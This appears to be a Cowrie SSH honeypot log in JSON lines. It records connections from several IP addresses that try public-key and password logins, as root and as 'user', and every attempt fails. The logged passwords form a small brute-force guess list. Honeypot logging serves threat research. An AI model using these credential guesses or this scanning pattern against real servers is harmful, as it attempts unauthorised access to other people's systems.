{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:36:54.484188Z","src_ip":"198.20.127.144","session":"aa38f8689aaa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:47:0b:68:c5:07:dc:0c:b4:38:93:68:43:30:91:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD8ES2o9bhfo1PnvmSaxGV1ZH7NpJ/vF/5luKJe7XjETgPuZ3chtQHSz0MX6BMR/osjrmOVqK38LQbr3G+7BASw9+2vVgszSo3mDtkUSvcOt3R4OdYUHLpRiD2oDG45i2BB1w2F5SYmg8Kd6Pt0IUvEG5vF+Fzze8NmzxnvAvLaRpYiLVA0bVF19Rew1VnoGyRfqxa1EU+GSPgzfZP9uhLcuXmGKjGHNqZLewV4If/K0SoUBCvd0TJMUCXHlssTyYk7X06LHxq4+vpilao4DVoWY60PaYZPY6McSx/QBLS43b9t95qoLmmd9LhkoLYlDUs4jUJ90v7jp/IpGt6weNspHuVGUR5fdPeZxBOQGYNmb0lTI7CUcTlI6alZirpgyF7iwto/n1bVOisnqszsIRAzVyKlT8no/lSRXy6gG+2Jfiq4+al2LRNOpqNWOej1iQleYkhaLheGkTCpJEku/MO2qRHSf41IPdVnLxFA8MkfVjM8KOxJlXi1Q9z3PQkHWtTng770RPUlTxlGCUn5wLVA6blI4vyRfoU7uE+ZFjpb9Zb5VyC8JViR7QYvI6Bhs1f0BXUsFzY0YrsdViYFKGryr7z63dudOjq1z/gfAXijp4W8YuQfoXx67CkFQRbcrLvH7abq4H/Kf2scIpE/Pgrck0RGwOfAO9AvZEbkvoRpLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:47:0b:68:c5:07:dc:0c:b4:38:93:68:43:30:91:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:36:54.904438Z","src_ip":"198.20.127.144","session":"aa38f8689aaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:47:0b:68:c5:07:dc:0c:b4:38:93:68:43:30:91:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD8ES2o9bhfo1PnvmSaxGV1ZH7NpJ/vF/5luKJe7XjETgPuZ3chtQHSz0MX6BMR/osjrmOVqK38LQbr3G+7BASw9+2vVgszSo3mDtkUSvcOt3R4OdYUHLpRiD2oDG45i2BB1w2F5SYmg8Kd6Pt0IUvEG5vF+Fzze8NmzxnvAvLaRpYiLVA0bVF19Rew1VnoGyRfqxa1EU+GSPgzfZP9uhLcuXmGKjGHNqZLewV4If/K0SoUBCvd0TJMUCXHlssTyYk7X06LHxq4+vpilao4DVoWY60PaYZPY6McSx/QBLS43b9t95qoLmmd9LhkoLYlDUs4jUJ90v7jp/IpGt6weNspHuVGUR5fdPeZxBOQGYNmb0lTI7CUcTlI6alZirpgyF7iwto/n1bVOisnqszsIRAzVyKlT8no/lSRXy6gG+2Jfiq4+al2LRNOpqNWOej1iQleYkhaLheGkTCpJEku/MO2qRHSf41IPdVnLxFA8MkfVjM8KOxJlXi1Q9z3PQkHWtTng770RPUlTxlGCUn5wLVA6blI4vyRfoU7uE+ZFjpb9Zb5VyC8JViR7QYvI6Bhs1f0BXUsFzY0YrsdViYFKGryr7z63dudOjq1z/gfAXijp4W8YuQfoXx67CkFQRbcrLvH7abq4H/Kf2scIpE/Pgrck0RGwOfAO9AvZEbkvoRpLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:36:54.909483Z","src_ip":"198.20.127.144","session":"aa38f8689aaa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:6a:91:8f:c7:d3:3a:12:dd:ab:84:23:e1:d5:d4:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr5a/SgBIb8T2ixSISFvEeCeweinhnYgndzr2u5Uk646hosahh7loPO1d9N4h90oTKVYDbEw3iFud5KzAenCPV4v1DV9WsB67mJ6hLn9kFFKRo84tOXfzRsj57CW5qnxlnkGAVEVD+IvyKlG5nG++Cc2PstHmFKSSNul7A4aAWIL+EWI/DSJNjEN8YLeJENsoRnTLd6ydALXclB2Jmb/GFFgko5Du3cT8yBzufv9fCrDehLlNK4hKs6Q4UTVGMf8Va4uEJcQb8ybDwboNC6IGIXzcz1EwKL3oGHsarIN7DQwtx5t0zr1EjqYVkiF+3LmdC9vmaP/BADXNyWQSQ6MuzQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:6a:91:8f:c7:d3:3a:12:dd:ab:84:23:e1:d5:d4:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:36:54.999183Z","src_ip":"198.20.127.144","session":"aa38f8689aaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:6a:91:8f:c7:d3:3a:12:dd:ab:84:23:e1:d5:d4:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr5a/SgBIb8T2ixSISFvEeCeweinhnYgndzr2u5Uk646hosahh7loPO1d9N4h90oTKVYDbEw3iFud5KzAenCPV4v1DV9WsB67mJ6hLn9kFFKRo84tOXfzRsj57CW5qnxlnkGAVEVD+IvyKlG5nG++Cc2PstHmFKSSNul7A4aAWIL+EWI/DSJNjEN8YLeJENsoRnTLd6ydALXclB2Jmb/GFFgko5Du3cT8yBzufv9fCrDehLlNK4hKs6Q4UTVGMf8Va4uEJcQb8ybDwboNC6IGIXzcz1EwKL3oGHsarIN7DQwtx5t0zr1EjqYVkiF+3LmdC9vmaP/BADXNyWQSQ6MuzQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:36:55.003157Z","src_ip":"198.20.127.144","session":"aa38f8689aaa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:b6:f3:e7:38:b5:74:9d:d0:61:c6:88:d8:f0:4d:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLRrMU8Tnv5hnCpwkkM0ytw7bDrlRytHp7kGhY3UGmxOVeM9NxOuhzVSVc+keKR7+uGC4XXigPfnQjuzD5/DGnem9RC3SlSa473nomVMeqGUTMCNmD3oTiFPwVCbUhMN2hLmKdouetV9flxBPg77ZRPNJ+FC+TdfNUhROgO82Lh7WkdDQPNFKmXLQAiRXVxyQEasSp5d+q/h5cPtPfWLY1FTuCiKpRWHcSY9r/Hr3D+ZHR7BJ6U9qNmmfWRxyaRmAO0Zpq5eCUCreIv1uuZjIjiREp7JqgOmVLL2Cu8wu4R/ShbmvvLHBBj7Cz/m23kSgPzAGodDL6acUesZzwUsuL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:b6:f3:e7:38:b5:74:9d:d0:61:c6:88:d8:f0:4d:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:36:55.092090Z","src_ip":"198.20.127.144","session":"aa38f8689aaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:b6:f3:e7:38:b5:74:9d:d0:61:c6:88:d8:f0:4d:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLRrMU8Tnv5hnCpwkkM0ytw7bDrlRytHp7kGhY3UGmxOVeM9NxOuhzVSVc+keKR7+uGC4XXigPfnQjuzD5/DGnem9RC3SlSa473nomVMeqGUTMCNmD3oTiFPwVCbUhMN2hLmKdouetV9flxBPg77ZRPNJ+FC+TdfNUhROgO82Lh7WkdDQPNFKmXLQAiRXVxyQEasSp5d+q/h5cPtPfWLY1FTuCiKpRWHcSY9r/Hr3D+ZHR7BJ6U9qNmmfWRxyaRmAO0Zpq5eCUCreIv1uuZjIjiREp7JqgOmVLL2Cu8wu4R/ShbmvvLHBBj7Cz/m23kSgPzAGodDL6acUesZzwUsuL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:36:55.096074Z","src_ip":"198.20.127.144","session":"aa38f8689aaa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:0c:ae:ba:48:35:56:92:e6:df:a2:c6:a1:a3:c7:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsSoIGldGziOU1mPvqybqa5vOijUjUVFoggCnfCAAZU7w6l07+rDU9+JpubW6TPUkXLzlwbddNFbDO6MzUzUzmFVLl2r9nQg4LHpLGVm/4R3HAThVdoJ+4WRIuC8kIbAToSzdBLts7+lgDfaUC61e9cETyiEC4XFuUh/UCiGwad7zkP+NYixkDSgcC94ZtN76Zj/iKX4TTBESygicZ2EO9xKZ4biBjPKJPxOI6DrJiM450mWD0IlEOmnEBrNQE1CHekiih2dOs43jE//+l3S26q1TMhUHRYEadadDfDNKeONtVKMrF/bb0ILb8JH8BHNZF60514sa63MJYhE/RHjseadMuQ0AvLKgJ5yw0lk1d44QAeNCrYgdIOLxlBskO49MdXCRUl7JsWPHP0M0QPs1boK6yGBNPxtcztg/XFqyMd2rabzubnyOoBXPboXU4EhS3Rn+0p6QhZV+ki3wO0YnSPRard+7qd9T5gQZ0KGs/4pdSbBa5VEiiqlzMCaqvoEJ5LVe4jN+vxo/Azh5Yi5JwIkx4eVZnI3IsMNV8XU/H01crmSBrSZUuKbMLkmY94OK84dgZPdsHFnhhCgk6UzlS8sjFaWvDls/jUXA3+cKj9LAkbsE7W/9Jy0BhSJSsCz8Iep9Gkl33+wV2w87xYibv4COqa78BWRJc77N3ux2idw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:0c:ae:ba:48:35:56:92:e6:df:a2:c6:a1:a3:c7:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:36:55.185230Z","src_ip":"198.20.127.144","session":"aa38f8689aaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:0c:ae:ba:48:35:56:92:e6:df:a2:c6:a1:a3:c7:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsSoIGldGziOU1mPvqybqa5vOijUjUVFoggCnfCAAZU7w6l07+rDU9+JpubW6TPUkXLzlwbddNFbDO6MzUzUzmFVLl2r9nQg4LHpLGVm/4R3HAThVdoJ+4WRIuC8kIbAToSzdBLts7+lgDfaUC61e9cETyiEC4XFuUh/UCiGwad7zkP+NYixkDSgcC94ZtN76Zj/iKX4TTBESygicZ2EO9xKZ4biBjPKJPxOI6DrJiM450mWD0IlEOmnEBrNQE1CHekiih2dOs43jE//+l3S26q1TMhUHRYEadadDfDNKeONtVKMrF/bb0ILb8JH8BHNZF60514sa63MJYhE/RHjseadMuQ0AvLKgJ5yw0lk1d44QAeNCrYgdIOLxlBskO49MdXCRUl7JsWPHP0M0QPs1boK6yGBNPxtcztg/XFqyMd2rabzubnyOoBXPboXU4EhS3Rn+0p6QhZV+ki3wO0YnSPRard+7qd9T5gQZ0KGs/4pdSbBa5VEiiqlzMCaqvoEJ5LVe4jN+vxo/Azh5Yi5JwIkx4eVZnI3IsMNV8XU/H01crmSBrSZUuKbMLkmY94OK84dgZPdsHFnhhCgk6UzlS8sjFaWvDls/jUXA3+cKj9LAkbsE7W/9Jy0BhSJSsCz8Iep9Gkl33+wV2w87xYibv4COqa78BWRJc77N3ux2idw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:36:55.189984Z","src_ip":"198.20.127.144","session":"aa38f8689aaa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:ba:7a:9f:14:f4:a8:7b:2f:d2:be:26:e3:57:2b:db","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN+UgKZd5K5Dqm15SrMpmY3osEc9rKc1cLLdNGUaGkCU","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 61:ba:7a:9f:14:f4:a8:7b:2f:d2:be:26:e3:57:2b:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:36:55.281066Z","src_ip":"198.20.127.144","session":"aa38f8689aaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:ba:7a:9f:14:f4:a8:7b:2f:d2:be:26:e3:57:2b:db","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN+UgKZd5K5Dqm15SrMpmY3osEc9rKc1cLLdNGUaGkCU","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:36:55.286081Z","src_ip":"198.20.127.144","session":"aa38f8689aaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:36:55.374050Z","src_ip":"198.20.127.144","session":"aa38f8689aaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":39616,"dst_ip":"10.17.0.5","dst_port":22,"session":"660529714002","protocol":"ssh","message":"New connection: 103.15.226.202:39616 (10.17.0.5:22) [session: 660529714002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:37:51.016046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:37:51.020469Z","src_ip":"103.15.226.202","session":"660529714002","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:37:51.260138Z","src_ip":"103.15.226.202","session":"660529714002","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123456789","message":"login attempt [root/qwerty123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:37:51.979322Z","src_ip":"103.15.226.202","session":"660529714002","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:37:53.222031Z","src_ip":"103.15.226.202","session":"660529714002","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":17003,"dst_ip":"10.17.0.5","dst_port":22,"session":"e01c337e5c18","protocol":"ssh","message":"New connection: 2.57.121.25:17003 (10.17.0.5:22) [session: e01c337e5c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:38:04.154646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:38:04.159486Z","src_ip":"2.57.121.25","session":"e01c337e5c18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:38:04.258989Z","src_ip":"2.57.121.25","session":"e01c337e5c18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1308","message":"login attempt [user/1308] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:38:04.730009Z","src_ip":"2.57.121.25","session":"e01c337e5c18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130788","message":"login attempt [user/130788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:38:05.833962Z","src_ip":"2.57.121.25","session":"e01c337e5c18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130784","message":"login attempt [user/130784] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:38:06.937486Z","src_ip":"2.57.121.25","session":"e01c337e5c18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130586","message":"login attempt [user/130586] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:38:08.040505Z","src_ip":"2.57.121.25","session":"e01c337e5c18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13051982","message":"login attempt [user/13051982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:38:09.142900Z","src_ip":"2.57.121.25","session":"e01c337e5c18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:38:10.246776Z","src_ip":"2.57.121.25","session":"e01c337e5c18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":46469,"dst_ip":"159.203.135.109","dst_port":22,"session":"78f847d2797c","protocol":"ssh","message":"New connection: 193.24.211.100:46469 (159.203.135.109:22) [session: 78f847d2797c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:38:25.013627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:38:25.024409Z","src_ip":"193.24.211.100","session":"78f847d2797c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:38:25.128263Z","src_ip":"193.24.211.100","session":"78f847d2797c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"presto","message":"login attempt [root/presto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:38:25.550307Z","src_ip":"193.24.211.100","session":"78f847d2797c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:38:26.676774Z","src_ip":"193.24.211.100","session":"78f847d2797c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19398,"dst_ip":"10.17.0.5","dst_port":22,"session":"6949aa028827","protocol":"ssh","message":"New connection: 87.251.64.176:19398 (10.17.0.5:22) [session: 6949aa028827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:39:32.709350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:39:32.714724Z","src_ip":"87.251.64.176","session":"6949aa028827","protocol":"ssh"}
